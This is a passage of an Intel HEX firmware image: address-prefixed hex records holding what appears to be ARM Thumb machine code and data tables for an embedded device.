:107EB0002300283307CD07C30123A1881A0006A891 :107EC000FFF76BFE00200BB030BD002310B58371AF :107ED000643303810368040081801B699847022290 :107EE000A37993431A0001231343A37110BD84B0F7 :107EF00030B5069303000491059204AC0C3326CCF4 :107F000026C326CC26C322681A6002238279134333 :107F1000837130BC08BC04B01847030030B50C3185 :107F200034C934C334C934C30A681A6030BD02236B :107F30008079184070470423807918407047802268 :107F40000023D2008261C26102620222C360036127 :107F500043614362837993438371704741647047FF :107F600073B50C00050016000B680800DB69984724 :107F7000E36B280001960093626BA36B216C00F009 :107F800021FE280076BD70B505000B680C000800C6 :107F9000DB6998472B00283407CC07C3280070BD45 :107FA000F0B587B0010003A8FFF7EDFF0398F5F7E0 :107FB000E7FB040004980D00F5F7E2FB06000598C6 :107FC0000F00F5F7DDFB2200009001912B0020004F :107FD0002900F4F791FD320004000D003B00300051 :107FE0003900F4F789FD02000B0020002900F3F7A7 :107FF00013FE009A019B04000D0010001900F4F715 :108000007BFD02000B0020002900F3F705FEF6F7C8 :108010006BF8F5F77FFB07B0F0BD10B504000368FF :10802000DB699847A06A10BD10B504000368DB69DE :108030009847E06A10BD10B504000368DB699847F3 :10804000206B10BD82B030B5050085B0089202A843 :108050000822099301F09FFA039B029C5A10AD1865 :10806000DB0701D52B681C590AA90822684601F0D4 :1080700092FA089A099B2800A04705B030BC08BCBA :1080800002B01847F8B50A6803680E000700981A8E :10809000F3F738FD72687B68051C981AF3F732FD18 :1080A000B368041CB868C01AF3F72CFD291C061C21 :1080B000281CF3F737FA211C051C201CF3F732FAB1 :1080C000011C281CF2F7E0FE311C041C301CF3F7E5 :1080D00029FA011C201CF2F7D7FEF8BDF0B585B0D7 :1080E000019002910392FFF7CDFF0127041C061CAB :1080F000039B9F4217DA0C217943029B0198591880 :10810000FFF7C0FF051C011C201CF2F79FFD002893 :1081100000D02C1C291C301CF2F784FD002800D054 :108120002E1C0137E4E7211C301CF3F711FB05B0CE :10813000F0BDF0B58BB009938023DB000024C36051 :1081400003614361002305000C2707910892046036 :108150004460846084610293119B9C4265DB00272C :108160000023109C0593019700973E1C059B119AD4 :10817000934270DA210007A8FFF784FFF6F752F95F :10818000011C03900298F2F7F7FFFE218905F3F72F :10819000DFFA0490301CF3F795FC06000498F3F71F :1081A00091FC864200DA06003000F3F7ABFC23684E :1081B000079A061C981AF3F7A5FC0399F2F7DCFF5F :1081C000400004994008F3F7ADF9011C0098F2F75C :1081D0005BFE089B00900693069A6368981AF3F773 :1081E00091FC0399F2F7C8FF400004994008F3F7A7 :1081F00099F9011C0198F2F747FEA36801900998CC :108200000C34181AF3F77EFC0399F2F7B5FF40001F :1082100004994008F3F786F9011C381CF2F734FE84 :10822000059B071C01330593A0E739006143109BB0 :1082300007A85918FFF726FFF6F7F4F8F3F742FC02 :10824000F3F760FC0299061CF2F700FD002800D04D :108250000296013480E70099081CF3F763F901994D :10826000041C081CF3F75EF9011C201CF2F70CFE3D :10827000391C041C381CF3F755F9011C201CF2F7BB :1082800003FEF6F7CFF8041C011C0098F2F774FF08 :10829000311CF3F747F9FE218905F2F7F5FD892135 :1082A000C905F3F73FF9F3F70DFC211CE8600198CD :1082B000F2F762FF311CF3F735F9FE218905F2F779 :1082C000E3FD8921C905F3F72DF9F3F7FBFB211C29 :1082D0002861381CF2F750FF311CF3F723F9FE2117 :1082E0008905F2F7D1FD8921C905F3F71BF9F3F7E9 :1082F000E9FB079B68612B60089B029800936B6009 :10830000099BAB60F3F7DEFBA86128000BB0F0BD62 :10831000F0B50025040017000B002E0028002A00ED :1083200091B00791BA4208DA1968013240185968C9 :10833000761899680C336D18F4E73900F2F736FBBC :10834000390020603000F2F731FB3900606028000E :10835000F2F72CFB3A00A06007992000FFF7BEFE61 :1083600000260DAB0A90059606960393C8235B4240 :108370000493C8235B420293C8235B42019322000B :10838000039B23CA23C32268049B9446039A634435 :10839000136062681D009446029B039A6344536015 :1083A000A26808939446019B039A634493600799DB :1083B0003A0003980993FFF791FE0A990B90F2F7A0 :1083C00031FC002805D0089B099E05930B9B069560 :1083D0000A93019BC83301931A00C8235B009A4299 :1083E000CDD1029BC83302939342C5D1049B029A1C :1083F000C83304939342BCD12368069A934206D1B2 :108400006368059A934202D1A368B34205D0069BE4 :10841000A6602360059B6360A8E7200011B0F0BD53 :1084200070B504000D00160086B003A8FFF770FFBA :108430002000019600950399049A059BFFF779FEA9 :10844000200006B070BD4A6810B55310C0180B6804 :10845000D20701D50268D358984710BD10B5002146 :10846000406C00F0A0FF10BD10B50400EFF78CFBCE :108470002000782101F02DF8200010BD10B5040077 :10848000EFF774FB2000302101F023F8200010BD2D :1084900070B505000400743501212800F0F794FF41 :1084A0002200563213780133DBB21370E1790131C7 :1084B0008B4222D1002326001370226D54360221F4 :1084C000525E33882021934205DA200019B25030E1 :1084D000FFF74CFB0100E27900232800F0F72CFFA6 :1084E000226D33880221525E934207DD2300002271 :1084F00048331A702000EFF751FC70BD0133338010 :10850000FBE770B505000600826D5C350221525E06 :108510002B88040074362021934204DA19B25830B3 :10852000FFF724FB0100002330001A00F0F704FFDE :10853000A26D2B880221525E934207DD23000022A8 :1085400048331A702000EFF729FC70BD01332B80EF :10855000FBE773B50400060025007436300064356F :1085600000F097FB0023EA5E2100002360310093B6 :10857000300000F09EFB002804D123006C331B78F0 :10858000002B0AD16622A256002A06D02B886C3412 :108590009B182B800123237073BD230000224833D6 :1085A0001A702000EFF7FAFBF6E7F0B5060000219D :1085B000050004006636006E71564088643500235D :1085C000EA5E4B1D1B1A200085B06C3003909A4266 :1085D00010DC0378002B0DD01C3D2B78062B02D12C :1085E000083000F056FB002320002B70EFF7D6FB7D :1085F00005B0F0BD27007437002A04DD494209B2F6 :108600003800F0F7E1FE0023EA5E2100002360312C :108610000093380000F04DFB0023F356002B05D1EA :108620002200483213702000EFF7B8FB0123039AB1 :10863000137000232A88F3569B182B80D8E770B557 :10864000050048352B780400002B31D0EEF782FB73 :1086500022004C3213881818230080B210804A334D :108660001B88834224D8002313802B78022B02D14D :108670002000FFF70DFF2B78032B02D12000FFF71E :1086800040FF2B78042B02D12000FFF762FF2B78EC :10869000052B02D02B78062B02D12000FFF785FF97 :1086A0002B78072B04D1002320002B70EFF776FBEB :1086B00070BD1FB5036F827A9B68040001339A4234 :1086C00008D18188012302226846FFF766FA002359 :1086D000A3721FBDEFF7E8FA2000FFF7B0FFA37AFF :1086E0000133F5E710B583790400DB0704D5027B7D :1086F000022A02D1FFF7DDFF10BD837A016F01333B :10870000DBB2837289688B4201D100238372002A15 :1087100002D12000EFF7C8FA237B012B05D1637348 :1087200000232000A373EFF7A3F92000FFF787FFD2 :10873000E2E7407A7047F0B5837987B004000D0016 :10874000DB0703D5002903D007B0F0BD0029FBD01B :108750001023216F01278A68CB569818002298426F :1087600004DD3E009E4001333243F8E71123C86820 :10877000CB56012700211818984204DD3E009E4088 :1087800001333143F8E70A43002D09D001230021CA :1087900001A8F1F799FB0123A2791343A371D3E751 :1087A0002B00290001A8F1F78FFB290001A800F098 :1087B000C5FD0122A3799343F0E710B50121FFF72E :1087C000BAFF10BD10B50021FFF7B5FF10BD10B501 :1087D000743000F05EFA10BD10B50400F0F7ACFF85 :1087E00000232000237510BD1FB503AC6370002368 :1087F0002270009322000233EFF76CFB04B010BD2F :108800001FB50F2401236C4400932300EFF772FB84 :10881000002800D1207804B010BD4A6810B553106C :10882000C0180B68D20701D50268D358984710BD0D :1088300082B030B5050085B0089202A808220993DD :1088400000F0A9FE039B029C5A10AD18DB0701D56E :108850002B681C590AA90822684600F09CFE089A59 :10886000099B2800A04705B030BC08BC02B01847DF :1088700070B504000D001822002100F0A8FE2900A8 :10888000200000F023FC200070BD13B50C0001A8EF :10889000EFF740FE210001A8EFF74EFE13BD73B5C0 :1088A0000D0014001E0001A8EFF734FE33002A006B :1088B000210001A8EFF776FE73BD802307B55B05A5 :1088C000009101921A695B696946133B5A4302237E :1088D000FFF7E5FF07BD84B010B504928022039135 :1088E000059352051369516952691139133A5A4374 :1088F0004B430F99CB1AD21803A90C23FFF7CFFFD4 :1089000010BC08BC04B018478023F7B55B051F698D :1089100001915D69EFF7F0FC0600041E22D03020C3 :1089200000F0BEFD113D302200217D4304000027F0 :1089300000F04DFE0835B7420DDA29003022200044 :1089400000F029FE2100019800F08BFE002809D0DC :1089500030350137EFE7B74204D12000302100F075 :10896000B8FD00242000FEBD10B509680431EFF702 :10897000F3FC10BD29DF704728DF704710B503688E :108980005B6A984710BD10B50400EFF7CBFE2000DE :10899000A42100F09EFD200010BD10B5C9B20D222B :1089A000FFF72EFFC7384342584110BD10B503688A :1089B0005B6A984710BD10B50400EFF7DBFF20009D :1089C0005C2100F086FD200010BD10B5C9B20D225B :1089D000FFF716FF5A384342584110BD10B50368DF :1089E000DB69984710BD10B50400F0F739F8200096 :1089F000602100F06EFD200010BD10B5C9B2072245 :108A0000FFF7FEFEC4384342584110BD10B503685D :108A10005B6A984710BD10B50400F0F72FF92000ED :108A20005C2100F056FD200010BD10B5C9B20F2228 :108A3000FFF7E6FE33384342584110BD10B50368D6 :108A4000DB69984710BD10B50400F0F7CBF92000A2 :108A5000602100F03EFD200010BD10B5C9B24F22CC :108A6000FFF7CEFE40384342584110BD72B60B6846 :108A70000165002B05D143658365086062B67047C8 :108A800013005A6D002AFBD1586583654265F5E7EE :108A9000036D002B0FD072B6826D436D002A0BD090 :108AA0005365436D002B01D0826D9A6500234365A9 :108AB0008365036562B67047026D1360F1E770B5B8 :108AC0000500EFF30884C36B006C1C1B6B6C1B1A56 :108AD0009C420CD91F2320349C43002801D0F0F77E :108AE0002DFB2000F0F7F6FA28640019686470BDC9 :108AF00010B5F0F719FAF0F72FFAFAE7F0B5820897 :108B0000830703D1031E02D11800F0BD0132541CAB :108B100072B6802621C93606854225D90368002B06 :108B200002DB9B00C018F7E75B005B089900411867 :108B30000F68002F08DA8D4206D931007F007F08C8 :108B4000DB1919430160F1E7A342EAD302329A42EA :108B500003D292008218954209D803685B005B0833 :108B6000036062B6031DCFE762B60023CCE7191B92 :108B700080231B06043A0B4313600460F1E710B531 :108B80000800F0F7A7FA10BD10B50800F0F7D6FA04 :108B900010BD10B5838804009B0703D51821806899 :108BA00000F097FC200010BD10B5F0F7EFFA406818 :108BB00010BD10B5F0F7EAFA006810BD0170427000 :108BC0004360704782B0F0B505920200069308AB8F :108BD0001B7805ACE0CCE0C2002B1ED04A78002AFE :108BE00005D0069A52424260079A524282604A6811 :108BF000022A16D0032A1AD0012A04D10268416839 :108C0000524201604260012B17D0022B05D143680C :108C10005B42436083685B428360F0BC08BC02B087 :108C2000184702685242026042685242EAE74268CC :108C30000168524202604160E5E7426803680260F1 :108C4000E7E782B037B50400180007930B78069267 :108C50000193089B009303002000FFF7B3FF20005F :108C60003EBC08BC02B0184710B504000068FEF70F :108C7000DDFF200010BD10B50A00002100F0A7FCA8 :108C800010BD10B5040008682060FEF7C4FF200086 :108C900010BD10B500684388818806305943FFF73E :108CA000EAFF10BD10B504000023F0F7CFFA200052 :108CB00010BDF0B587B003910CA9097807000491A5 :108CC00001680020029149888C468A426FDA029935 :108CD00089888B426BDA03980668708801901018B7 :108CE00000900020009C844261DDB58858190590F1 :108CF00000205C1984425ADD824205DA0098604502 :108D000009DD6046009006E06046801A009004008D :108D100001988442F6DC002B2FDA059C8C4200DDA2 :108D20000C00B01D0026D11755422940B34202DA8B :108D3000019D6E425E43029D761886190635111C10 :108D4000002A00DA0021002209B2934201DD6246C6 :108D50005A43049B51186D18002B1DD0002210009F :108D6000A24224DA002300998B420BDAF15C00293D :108D700001D0E95401300133F5E7CC1AAC42D0DD23 :108D80002C00CEE7039B01321B6801935B88F61829 :108D90003B685B88ED18E3E7049B0193019BA342CA :108DA00007DBE043009BC01720404343180007B097 :108DB000F0BD31002800009A00F0EDFB039B1B681A :108DC00002935B88F6183B685B88ED18019B0133C2 :108DD000E3E710B5040000F0F0FA200010BD51DF09 :108DE000704761DF7047F8B506000F0004001518E2 :108DF000AC4200D1F8BDBB1B195D2000F0F758FC58 :108E00000134F5E7F0B585B01C000AAB050003910D :108E100016001F78F0F7B2FC01235F400097230093 :108E200032000399280000F049FA201A441EA0419C :108E300005B0F0BDF0B585B01C000AAB050003918C :108E400016001F78F0F79AFC01235F40009723007B :108E500032000399280000F0EFF9201A441EA041C7 :108E600005B0F0BD836980681B681840431E9841B7 :108E7000704710B5043000F0CBF910BD704710B545 :108E80000400402100F025FB200010BD10B500F0CB :108E900045F810BD10B500F046F810BD7047182316 :108EA0004A1C5A43594382189268431810B5DB682C :108EB000002A03D1002B00D0984710BD002BFCD016 :108EC0001031411818009047F7E710B50400402111 :108ED00000F0FFFA200010BD70B50D000400043052 :108EE000F1F7E2F8E56370BD10B5043000F078FAF0 :108EF00010BD70B50C00030011000430221E0AD012 :108F0000182215004D435D19EC604C1C62439B1800 :108F100000229A600132F1F713F970BD10B50430E8 :108F200000F051FA10BD10B50C000430F1F74EF905 :108F3000200010BD10B5040043684269991800F084 :108F400077F8E36A002B04D1A369002B00D098477F :108F500010BDA0690028FBD021001C319847F7E71D :108F600010B5040000F06CF80023A361E36210BDAB :108F700070B50D00040000F063F86561206900F031 :108F800030F94119200000F053F870BDC36A0100A8 :108F900010B58069002B03D1002800D0804710BD98 :108FA0000028FCD01C319847F9E710B50400F0F711 :108FB0001BFC2000302100F08CFA200010BD03685B :108FC00010B50400002B05D1C06800F00AF9012398 :108FD0006060236010BD10B504000068002804D054 :108FE000E06800F0FEF86368C01A10BD10B5846830 :108FF000FFF7F1FF201810BD10B50400C06800F0A5 :10900000F0F800236060A36010BD002310B503607A :10901000436083600400F0F7B3FCE0602000FFF7DA :10902000EBFF200010BD10B503689B68984710BD8A :1090300010B50A000300011D006900F09AF810BD88 :1090400010B5011D006900F0B0F810BD0FB401208B :1090500010B5F7F74DFF70B50D0004001600F0F7DE :1090600003FD6B1C07D00021200000F0D7F8310071 :10907000200000F0CDF870BD70B5436804000D000D :10908000002A0AD0C26813602000012100F0C6F84F :109090002900200000F0BCF870BD0269F3E710B5AC :1090A0000322FFF7D8FF10BD10B5FFF7D4FF10BDA6 :1090B00070B50D0004001600F0F7D6FC6B1C04D050 :1090C000320000212000FFF7D7FF70BD10B500224D :1090D000FFF7EEFF10BD10B5022804D88023002052 :1090E0009B014B6010BDF7F7FDFE092303600120D3 :1090F0004042F7E710B50120F7F7FAFE70477047D6 :1091000010B5FFF7FCFFFFF7F9FFECF719F910BDF9 :1091100010B5002801D000F083F9FEE770B5040017 :109120000D0003681B68984763681D6070BD036885 :1091300070B5DB680400984763685A682368002AA2 :1091400002D19B68984770BD5B6815689847636853 :109150002D1A5A68002D07DC916859601B68002B96 :10916000EAD050689847E7E7236810681B6998477A :10917000E9E770B50D0072B64B60002346680A60DF :109180007468002C09D1002B0DD1036875601B6930 :1091900010009847AC6062B670BD2168511AF2D4D5 :1091A0002300A468EDE79D60F4E710B572B642684D :1091B00053688B420DD19B6853600268002B03D12A :1091C0009368984762B610BD126918689047F9E72E :1091D0001300002BF6D09A688A42F9D18A689A6007 :1091E000F0E710B503685B68984710BD70B50400E0 :1091F000F1F792FA0500F1F78FFA401BA042FAD37B :1092000070BDFA2310B59B005843FFF7EFFF10BD68 :1092100010B5007840B200F081F810BD002902D0EE :10922000012900D070470023A022C356D205C133C4 :10923000FF339B009950F5E7F7B50192B1221E006C :1092400003684910D20099508021012289005A50A8 :10925000190000240500FC31CC601A60771E019BC8 :10926000A7420BDCD91901222800F0F721FD0028C4 :1092700019D02800F0F7E2FD3E0010E01919002295 :109280002800F0F715FD00280BD02800F0F708FEA5 :1092900006002800F0F7D2FD002E00DB260030008B :1092A000FEBD0134DAE7089B002BF8D02B68FC33B5 :1092B0009A68002AFCD000229A60F0E7F8B51700FF :1092C000B1221C000368D200491099508022002569 :1092D00092009D50012206009A60A54204DB069B85 :1092E000002B13D120000EE0795D3000F0F7CCFCAC :1092F000002809D03000F0F7A1FD3000F0F7D0FDD4 :10930000002800DB2800F8BD0135E6E73000F0F763 :10931000ADFD0028E6D001204042F4E7A023800004 :10932000DB05C018E02310B50C24DB00C25889000F :10933000A243C250C2581143C15010BDF8B5050038 :109340000E00002401273B00A3402A691A4203D0E3 :1093500060B23100FFF7E2FF01341F2CF3D1F8BDFA :1093600030B5002902D001290FD030BD01220C00F8 :1093700013008B4005691D4203D005688B00EB1874 :109380001C6001311F29F3D1EFE700230A009A4046 :109390000469144203D004689A00A21811600133D2 :1093A0001F2BF3D1E1E70B00426810B51468016987 :1093B000634019406140116010BD10B5407840B263 :1093C000F0F796FD10BD03681A00FC32D168012940 :1093D000FCD10021D160A322D2009858C0B27047BE :1093E0000368FC33D868013843425841704782B063 :1093F0000190C046C046C046C046C046C046C046B2 :10940000C046C046C046C046C046C046C046019B96 :10941000013B0193002BECD102B0704770477047BD :1094200010B59AB0032102A8FFF750FE022108A848 :10943000FFF74CFE01210EA8FFF748FE102114A8EB :10944000FFF744FE9624059B039A20001A60099AB0 :109450000C9B1A600F9A129B1A60159A179B019227 :109460001A60FFF7CEFE069B039A20001A60099A45 :109470000B9B1A600F9A119B01921A60159A189B08 :109480001A60FFF7BEFEDEE70023CB565A1C01D15F :10949000180002E0834201D1486870470C31F3E7BD :1094A00010B5041E00D101342000EFF713FE002890 :1094B00007D1F1F7CDF9002801D100F012F880476B :1094C000F2E710BD0B0010B501001800F7F7FCFC27 :1094D00010BD10B500F001F810BD10B5EFF72EFE6D :1094E00010BD10B50620F7F79FFE0120FFF710FE14 :1094F00070B568254A1E55430E0029007431FFF7E8 :109500003EFB041E08D000212A00016046600C309A :10951000A060683200F05BF8200070BDF7B5040071 :109520000700002601914834002C01D13000FEBD17 :109530006368A5680093009B013B009301D52468F4 :10954000F2E7AB89012B08D90E22AB5E013304D0C0 :1095500029003800019B984706436835EBE77047C0 :1095600070477047C9B28218904201D100207047FD :1095700003788B42FBD00130F6E730B50024013987 :10958000A24201D1002005E0035D01340D5DAB4234 :10959000F6D0581B30BD002310B59A4200D110BD43 :1095A000CC5CC4540133F8E710B5884202D98B185B :1095B000984203D3002307E08B5C8354013AFBD22B :1095C00010BDCC5CC45401339A42FAD1F8E70300D1 :1095D0001218934200D1704719700133F9E770B542 :1095E00004000D001F2904D9162303600120404206 :1095F00070BD436C002B04D08A009B181A68002AA7 :1096000008D1200000F015F82A0001002000F7F72B :1096100015FEEDE70020012AEAD0511C03D11623E4 :1096200001302360E4E7002428001C6090472000FC :10963000DEE710B5F8F72AFB10BD10B50E23C95EA2 :10964000F7F734FF10BDC9B20378002B04D08B426A :1096500000D170470130F7E74B4259414942084079 :10966000F7E702780B78002A03D0013001319A42E3 :10967000F7D0D01A70470023C25C0133002AFBD117 :10968000581E704730B5131E0BD00024013A035DFD :109690000D5DAB4204D1944202D00134002BF6D1CF :1096A0005B1B180030BD936810B5013B9360002B25 :1096B00004DA9469A34207DB0A2905D01368581C11 :1096C00010601970080010BDF7F710FE0100F9E7EF :1096D000F8B506000F001400D518AC4201D10020E7 :1096E00007E021783A003000FFF7DDFF0134431C2A :1096F000F3D1F8BDF7B5150001938A680B690090A6 :109700000C00934200DA130022002B6043321278DF :10971000002A01D001332B6023689B0602D52B68F9 :1097200002332B60062723681F4027D023004333D2 :109730001B785A1E93412268920630D42200019968 :1097400043320098089EB047431C25D0062320686A :109750002A68E16803400025042B03D18D1AEB43EE :10976000DB171D40A3682269934201DD9B1AED18A7 :109770000027BD4220D1002010E00137E3682A68AD :109780009B1ABB42D2DD22000123193201990098B5 :10979000089EB047431CF0D101204042FEBD30205E :1097A000E1184331087021005A1C45310978A2188C :1097B000433202331170C1E7220001231A320199AA :1097C0000098089EB047431CE6D00137D1E700005F :1097D000F8B5C046F8BC08BC9E467047F8B5C04610 :1097E000F8BC08BC9E4670474FBB610567ACDD3FC7 :1097F000182D4454FB21E93F9BF681D20B73EF3FB8 :10980000182D4454FB21F93FE2652F227F2B7A3C2F :10981000075C143326A6813CBDCBF07A8807703CE8 :10982000075C143326A6913CD0DF0200DD01000066 :10983000D0DF0200CD0100000CE00200B901000001 :10984000C0E002000000010081010000C0E0020051 :10985000000001002D020000C0E002000000010035 :10986000ED010000D0DF0200AD1C02006CB202006E :109870007498020098CC02004F000000090000001C :1098800084980200860F0000AE0C0000F610000065 :10989000ECC30200A61400004C980200261400003D :1098A000409802000615000058980200E6150000D6 :1098B000649802006E1200002898020076120000E0 :1098C000309802004E130000389802000CE00200AD :1098D000790200000CE00200590200000CE00200D6 :1098E000B102000048E002009102000048E00200DE :1098F000BB1C0200D0DF0200C9020000D0DF020062 :10990000E1020000D0DF020049030000D0DF0200C6 :10991000F9020000D0DF020011030000D0DF0200D6 :1099200029030000D0DF0200ED1C0200D0DF02009E :10993000D71C0200C0E00200000001005903000033 :109940006CB202004899020098CC02004700000067 :109950000800000058990200860F0000361200002F :10996000EE10000004990200661100000C9902003C :109970008611000014990200D61200001C99020002 :109980001E1400002C9902001614000024990200F5 :1099900066160000349902006CB20200A099020021 :1099A00098CC02004700000008000000B0990200B7 :1099B000860F000016170000CE000000D4980200A9 :1099C000B6150000CC980200BE150000DC9802001D :1099D00086160000F49802008E160000FC98020023 :1099E00076160000E49802007E160000EC98020053 :1099F00098CC02003700000006000000009A020028 :109A0000860F00000E170000A6100000389A020012 :109A1000B61400004C9A0200BE140000409A0200E6 :109A2000EE160000589A0200F6160000589A02003E :109A30006CB20200F09902000CE002004F1D02001F :109A4000C0E002000600FFFFA1050000C0E0020028 :109A50000200FFFF59050000C0E0020004000300FF :109A6000950300006CB20200D02E0020B8B80200AE :109A70004502000000000000000000001D1600006C :109A800000000000000000000000000000000000D6 :109A900000000000000000000000000000000000C6 :109AA0000000000000000000C0E00200020003000F :109AB000591E0200C0E0020002000300631E020003 :109AC0000100E2040000000000FC000000000000B3 :109AD0000000000000000000000000000000000086 :109AE0000000000000000000000000000000000076 :109AF000B8B8020091020000000000006D1E0200D4 :109B00000000000000000000000000000000000055 :109B10000000000000000000000000000000000045 :109B2000000000000000000000000000B8B80200C3 :109B3000CC00000000000000000000000000000059 :109B40000000000000000000000000000000000015 :109B50000000000000000000000000000000000005 :109B600000000000689B020098CC02004700000043 :109B700008000000789B020076060000E89B0200C7 :109B80007E060000F09B020086060000B89B0200E3 :109B90008E060000C09B0200CE050000D09B020094 :109BA000D6050000D89B0200DE050000E09B020005 :109BB00096060000C89B02000CE00200311A00006B :109BC0000CE00200C91900000CE002001D1A0000A0 :109BD0000CE00200E11900000CE00200F5190000A1 :109BE0000CE00200091A00000CE00200AD1A0000AF :109BF0000CE00200A51900002C9B0200B8B802007E :109C00000100000000000000000000000000000053 :109C10000000000000000000000000000000000044 :109C20000000000000000000000000000000000034 :109C30000000000000000000D0DF02007D1C0000DA :109C400098CC02001700000002000000509C0200A7 :109C5000860F0000FE0000004E0F0000389C02003E :109C60006CB20200409C0200B8B80200E70200009B :109C7000000000005920000000000000000000006B :109C8000000000000000000000000000373D02005E :109C9000DF1E0200000000000000000000000000C5 :109CA00000000000B8B80200D60200004B1F0200FE :109CB0000000000000000000992A0100352B01007F :109CC000211F0200312C0100212A010000000000A8 :109CD0000000000000000000000000000000000084 :109CE00098CC02002F00000005000000F09C02004C :109CF000860F00000E0D0000160D00004C9D0200A6 :109D0000260D0000589D02001E0D0000409D02001F :109D10004E0D0000A89D0200E1000202400000007C :109D2000A701020248000000A60102028000000014 :109D3000A501020280000000A8010102000000004D :109D4000C0E002000300FFFF5D1F0200C0E0020050 :109D50000300FFFF891F0200C0E002000300FFFFB5 :109D6000731F0200B8B80200670200000000000084 :109D700000000000000000000000000000000000E3 :109D80000000000000000000373D0200112200002A :109D900000000000000000000000000000000000C3 :109DA0006CB20200E09C02000CE002005D220000A8 :109DB0006CB20200B89D020098CC02001F000000A7 :109DC00003000000C89D0200860F0000C6160000B8 :109DD000761400003CBC02007E0E0000D4CC0200D1 :109DE000D0DF02008524000098CC02001F00000094 :109DF00003000000F89D0200860F0000EE00000046 :109E00004E0F0000E09D0200F6000000109E0200D0 :109E1000D0DF0200652400006CB20200E89D020061 :109E200064CA02000951815F64CA020001047D44D2 :109E300064CA020001C4554264CA0200011C5311E5 :109E400064CA02000967140464CA0200018454470A :109E500064CA0200094150CC64CA02000110957125 :109E600064CA020001447C4164CA02000160030725 :109E700064CA020009FB93BF64CA020001AAAAAA2D :109E800064CA02000160100064CA020001421000AE :109E900064CA02000184100064CA020001081100B3 :109EA00064CA02000100130064CA020001007000CD :109EB00064CA02000100100C64CA02000100108490 :109EC00064CA02000100104264CA020001001021AD :109ED00064CA02000100900164CA020001001C0073 :109EE00064CA02000940015564CA020001317E477C :109EF00064CA02000144454564CA02000180280288 :109F000064CA020001E6780764CA0200017F03E523 :109F100064CA020009BFFE5F64CA0200014308A7C9 :109F200064CA0200014081E864CA020001EA7F4776 :109F300064CA02000140390264CA020001C47DA75C :109F400064CA0200010A202264CA020001849073DC :109F500064CA02000184D17364CA0200095ECABDEA :109F600064CA02000951111564CA0200097E9DE706 :109F700064CA020001B57E4264CA020001A5BCF5B4 :109F800064CA02000118FFAF64CA02000940011749 :109F900064CA020009117CCA64CA020001AE7EE7ED :109FA00064CA0200010080E864CA020001632B0752 :109FB00064CA0200093FC6F864CA020001C029074A :109FC00064CA020009E4131564CA0200010A1045BC :109FD00064CA02000184104764CA020001C46D47CC :109FE00064CA020001C07D0564CA0200096194F4DC :109FF00064CA02000180A80F64CA020001FB3BE7AB :10A0000064CA020001EE936264CA020009C411F737 :10A0100064CA02000100A22292010000990100001E :10A020006CB2020028A0020098CC02004700000099 :10A030000800000038A00200860F0000561600003D :10A04000CE0C0000DCA002002E170000B8A0020019 :10A050008E12000084A00200CE140000CCA00200EA :10A0600096100000A6130000BE11000078A00200A8 :10A07000F6140000ACA00200C0E0020000000100E5 :10A08000A5240000A49C020002000000AE0C000009 :10A0900098A0020018A002006CD10200030000008A :10A0A000030000001300000005000000C0E00200F3 :10A0B00002000200C52400006CD102000300000071 :10A0C00007000000090000000100000040BB020082 :10A0D00000000000080000004070030040BB0200C8 :10A0E0000000000005000000370B0300C0E0020084 :10A0F0000200FFFF2D25000098CC02000F00000099 :10A100000100000008A102004E0F0000ECA00200B8 :10A1100098A20200000000000000000064D10200CC :10A120003CA40200000000000000000064D1020016 :10A13000B8B80200BC01000041250000DD24000089 :10A14000000000000000000000000000CD2500001D :10A1500000000000000000000000000000000000FF :10A16000000000005CA2020000000000B8B802007D :10A17000BD01000041250000DD24000000000000BA :10A180000000000000000000CD25000000000000DD :10A1900000000000000000000000000000000000BF :10A1A0005CA2020000000000B8B80200BE0100007E :10A1B00041250000DD240000000000000000000038 :10A1C00000000000CD25000000000000000000009D :10A1D0000000000000000000000000005CA202007F :10A1E00000000000B8B80200BF01000041250000D7 :10A1F000DD2400000000000000000000000000005E :10A20000CD2500000000000000000000000000005C :10A21000000000000000000000000000F8A00200A4 :10A22000B8B80200C001000041250000DD24000094 :10A23000000000000000000000000000CD2500002C :10A24000000000000000000000000000000000000E :10A25000000000005CA2020000000000B8B802008C :10A26000C201000041250000DD24000000000000C4 :10A270000000000000000000CD25000000000000EC :10A2800000000000000000000000000000000000CE :10A29000E4A1020000000000B8B80200C301000001 :10A2A00041250000DD240000000000000000000047 :10A2B00000000000CD2500000000000000000000AC :10A2C000000000000000000000000000E4A1020007 :10A2D00000000000B8B80200C401000041250000E1 :10A2E000DD2400000000000000000000000000006D :10A2F000CD2500000000000000000000000000006C :10A3000000000000000000005CA20200000000004D :10A31000B8B80200C501000041250000DD2400009E :10A32000000000000000000000000000CD2500003B :10A33000000000000000000000000000000000001D :10A3400000000000E0A5020000000000B8B8020014 :10A35000C601000041250000DD24000000000000CF :10A360000000000000000000CD25000000000000FB :10A3700000000000000000000000000000000000DD :10A3800000A4020000000000B8B80200C7010000ED :10A3900041250000DD240000000000000000000056 :10A3A00000000000CD2500000000000000000000BB :10A3B00000000000000000000000000000A40200F7 :10A3C00000000000B8B80200C801000041250000EC :10A3D000DD2400000000000000000000000000007C :10A3E000CD2500000000000000000000000000007B :10A3F0000000000000000000E4A1020000000000D6 :10A40000B8B80200C901000041250000DD240000A9 :10A41000000000000000000000000000CD2500004A :10A42000000000000000000000000000000000002C :10A43000000000005CA2020000000000B8B80200AA :10A44000CA01000041250000DD24000000000000DA :10A450000000000000000000CD250000000000000A :10A4600000000000000000000000000000000000EC :10A470005CA2020000000000B8B80200CB0100009E :10A4800041250000DD240000000000000000000065 :10A4900000000000CD2500000000000000000000CA :10A4A0000000000000000000000000005CA20200AC :10A4B00000000000B8B80200CD01000041250000F6 :10A4C000DD2400000000000000000000000000008B :10A4D000CD2500000000000000000000000000008A :10A4E000000000000000000068A50200000000005D :10A4F000B8B80200CE01000041250000DD240000B4 :10A50000000000000000000000000000CD25000059 :10A51000000000000000000000000000000000003B :10A52000000000005CA2020000000000B8B80200B9 :10A53000D001000041250000DD24000000000000E3 :10A540000000000000000000CD2500000000000019 :10A5500000000000000000000000000000000000FB :10A5600030A1020000000000B8B80200D1010000D4 :10A5700041250000DD240000000000000000000074 :10A5800000000000CD2500000000000000000000D9 :10A590000000000000000000000000005CA20200BB :10A5A00000000000B8B80200D20100004125000000 :10A5B000DD2400000000000000000000000000009A :10A5C000CD25000000000000000000000000000099 :10A5D00000000000000000005CA20200000000007B :10A5E000B8B80200D301000041250000DD240000BE :10A5F000000000000000000000000000CD25000069 :10A60000000000000000000000000000000000004A :10A61000000000005CA2020000000000B8B80200C8 :10A62000D401000041250000DD24000000000000EE :10A630000000000000000000CD2500000000000028 :10A64000000000000000000000000000000000000A :10A65000E4A1020000000000B8B80200D50100002B :10A6600041250000DD240000000000000000000083 